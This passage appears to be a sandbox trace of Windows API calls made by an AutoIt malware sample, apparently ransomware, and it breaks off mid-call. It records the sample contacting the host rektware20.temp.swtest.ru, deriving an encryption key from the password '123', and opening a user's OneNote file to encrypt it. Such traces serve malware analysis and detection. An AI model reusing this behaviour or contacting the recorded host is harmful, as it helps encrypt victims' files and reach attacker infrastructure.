lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="otebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="book\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ok\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ck Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="otes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.232] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.232] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.232] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.232] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.232] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.232] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.232] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.232] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.232] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0072.232] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.232] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.232] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.233] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.233] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.233] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.233] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.233] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.233] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.233] CloseHandle (hObject=0x0) returned 0 [0072.234] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.234] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0072.234] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.234] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.234] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.234] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.234] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.234] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.235] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.235] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.235] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.235] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.235] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.235] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.235] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.235] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.235] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.235] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.235] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.236] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0072.236] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.236] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.236] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.236] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.236] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.236] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.236] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.236] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.237] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.237] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.237] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.237] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.237] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.237] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.238] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.238] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.238] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.238] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.238] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.238] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.238] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.238] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.238] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.239] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.239] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.239] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.239] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.239] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.240] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.240] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.240] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.240] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.240] CryptHashData (hHash=0x164c430, pbData=0x16294a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.240] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.240] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.241] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.241] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.241] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.241] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.241] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0072.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.241] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.241] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.241] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.242] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.242] CryptDestroyHash (hHash=0x164c430) returned 1 [0072.242] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.242] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one"), dwDesiredAccess=0x80000000, 